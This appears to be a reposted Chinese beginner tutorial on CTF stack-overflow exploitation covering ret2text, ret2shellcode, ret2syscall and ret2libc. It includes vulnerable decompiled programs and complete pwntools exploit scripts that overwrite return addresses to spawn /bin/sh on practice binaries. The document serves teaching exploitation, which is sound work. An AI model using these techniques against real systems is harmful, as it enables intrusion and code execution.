PWN菜鸡入门之栈溢出(1)

栈溢出

一、基本概念:

  • 函数调用栈情况见链接
  • 基本准备:

    bss段可执行检测:

?  
gef?  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef?  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

gef?  vmmap
  • ROPgadget

    ROPgadget --binary rop  --only ‘pop|ret‘ | grep ‘eax‘
    ROPgadget --binary rop  --only ‘pop|ret‘ | grep ‘ebx‘
    ROPgadget --binary rop  --string ‘/bin/sh‘
    ROPgadget --binary rop  --only ‘int‘
  • 系统调用

    Linux系统中通过软中断0x80调用实现控制权转移给内核,内容执行完成后返回结果。所有系统调用在linux内核的源文件目录"arch/x86/kernel"中的各种文件中定义,具体建本文最后一部分的列表。

二、ret2text

ret2text其实就是调用程序中text中已经存在的shell

三、ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode

实例:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
?
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

shellcode

解析:先将shellcode写进v4,再溢出v4到返回地址,然后将返回地址覆盖成buf2

#!/usr/bin/env python
from pwn import *
?
sh = process(‘./ret2shellcode‘)
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
?
sh.sendline(shellcode.ljust(112, ‘A‘) + p32(buf2_addr))
sh.interactive()
?

  

四、ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。

由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

32位:拿execve()来举例

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

找到相应寄存器地址,其中0xb为execve系统调用地址

#!/usr/bin/env python
from pwn import *
?
sh = process(‘./rop‘)
?
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    [‘A‘ * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

五、ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。

address of system() 是 system() 在内存中的地址,用来覆盖返回地址。

padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。

address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。

实例:

1).ret2libc1

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
?
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}
?
exp:
from pwn import *
?
sh = process(‘./ret2libc1‘)
?
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([‘a‘ * 112, system_plt, ‘b‘ * 4, binsh_addr])
sh.sendline(payload)
?
sh.interactive()

 2).ret2libc2

开启了堆栈不可执行保护

1、构造 payload

第一部分:

‘a‘ * 112 + gets_plt + ret_addr + buf_addr

这里需要思考两点,第一点就是 buf 地址,我们的 “/bin/sh” 应该放在哪里,通常我们会选择 .bss (存储未初始化全局变量) 段,IDA 查看 .bss 段发现程序给出了 buf2[100]数组,正好就可以使用这块区域。

现在考虑返回地址,因为在 gets() 函数完成后需要调用 system() 函数需要保持堆栈平衡,所以在调用完 gets() 函数后提升堆栈,这就需要 add esp, 4 这样的指令但是程序中并没有这样的指令。更换思路,通过使用 pop xxx 指令也可以完成同样的功能,在程序中找到了 pop ebx,ret 指令。

第二部分:

这部分就与上一题一样,

system_plt + ret_addr + buf_addr

还有另外一种 payload 更简洁情况:

在 gets() 函数调用完后,在返回地址处覆盖上 system() 的地址将 gets() 函数的参数 buf 地址当成返回地址,再在后面加上 system() 函数的参数 buf。

’a‘ * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、编写 exp
from pwn import *
?
#context.log_level = ‘debug‘
?
sh = process(‘./ret2libc2‘)
?
elf = ELF(‘ret2libc2‘)
?
def pwn(sh, payload):
    sh.recvuntil(‘?‘)
    sh.sendline(payload)
    sh.sendline(‘/bin/sh‘)#这里将 /bin/sh 传入 buf 中
    sh.interactive()
?
buf = elf.symbols[‘buf2‘]
gets_plt = elf.plt[‘gets‘]
system_plt = elf.plt[‘system‘]
pop_ebx_ret = 0x0804843d
ret_addr = 0xdeadbeef
?
#payload = ‘a‘ * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf)
payload = ‘a‘ * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf)
pwn(sh, payload)

原文地址:https://www.cnblogs.com/pwn2web/p/10350720.html

时间: 2024-08-02 06:19:44

PWN菜鸡入门之栈溢出(1)的相关文章

PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系

准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序, 因为正常情况下是无法在程序中找到像 system() .execve() 这种系统级函数 (如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式). 因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时

PWN菜鸡入门之函数调用栈与栈溢出的联系

一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内 Fig 5. 将被调用函数的局部变量压入栈内 二.函数调用栈实例说明 首先我们来看看以下程序调用栈的过程: int sum(int a,int b) { int temp = 0; temp = a+b; return temp; } int ma

PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

一.shellcode编写 下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #include<stdlib.h> char *buf [] = {"/bin/sh",NULL}; void main { execve("/bin/sh",buf,0); exit(0); }   execve函数在父进程中for

菜鸡的入门史

这篇博客记录我是怎么误打误撞来到了编程世界,以及为什么决定以此为业,一方面作为博客输出,另一方面希望能给需要的同学当一篇经验贴参考. 发现格式有点问题,先将就看一下,学习了再调整. 目录: 一.个人背景介绍 二.第一次接触前端 三.转向后端 Java 四.总结 五.参考建议 一.个人背景介绍 既然作为参考,那么肯定是要全方位讲清楚的,尤其是个人背景,不谈个人基础背景的经验都是耍流氓,个人情况不一致,适合自己的不一定适合别人,有背景情况下可以大概明白误差,因此该经验仅供考,盲目复制可能引发不适.

ACM菜鸡退役帖——ACM究竟给了我什么?

这个ACM退役帖,诸多原因(一言难尽..),终于决定在我大三下学期开始的时候写出来.下面说两个重要的原因. 其一是觉得菜鸡的ACM之旅没人会看的,但是新学期开始了,总结一下,只为了更好的出发吧. 其二是感觉没什么好写的,直到上学期期末我发现ACM给了我一些宝贵的东西,想给大家分享一下. 主要有缘起ACM,如何准备ACM的,ACM究竟给了我什么三个部分内容(长文警告). 缘起ACM 从高中的时候说起....不,开玩笑,还是从大学说起吧.高考结束后,由于分数没有过二本线,无奈的选择了郑州的一所民办本

一只菜鸡的话

大家好,我是Parallels,一只大二的菜鸡,在大一上只学过C语言,大一下自学过一点C++,对于算法竞赛几乎是0基础,但是却对编程及算法有很浓的厚兴趣,也很想参加ACM,向我们学校的大牛一样在ICPC区域赛的舞台上一展身手,所以还需要付出很大的努力,不过我愿意付出,所以,在此先给自己定一个小目标:两年内成为CF红名,在大三大四能代表学校去打ICPC区域赛并拿奖,希望我在大四毕业的时候能交上一份完美的答卷. 对此,尽管大二学习任务很重,要做的事情也很多,但是如果每天抽出点时间学一个算法,做一道题

菜鸡程序猿的开始:java基础知识之一个简单ATM机

import java.util.Scanner; public class Atm{ static int allmoney=150000; //ATM现有余额 static int all=200000; // ATM最大量 static int money =10000; // 初始化用户的余额 public static void main(String[] args) { System.out.print("*********************************"

Html菜鸡大杂烩

<!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8"> <title>菜鸡大杂烩</title> </head> <body> <p>注册帐号</p> <hr/> <form> 邮箱帐号 <input type="text"/&g

前端菜鸡关于 JS,Ajax,JSON,API,的一些思绪整理

header: 这是我的第一篇博客,希望这篇菜鸡总结能帮我找回该努力的方向吧.也许还能帮到几个和我境遇类似的大学狗?反正我现在是觉得这篇东西除了我不可能有别人会看了.hhhh... body: /*  7月29号加入了FreeCodeCamp学前端.大概倒推三个月在codecadymy学过python和JS的基础语法.倒推年初还把python和后端当做自己努力的方向.在知乎上听从建议去啃SCIP,结果第二章看到一半实在是被自己的数学打败了.又忙着考试和打游戏,大二的下学期就糊里糊涂的过去了.大学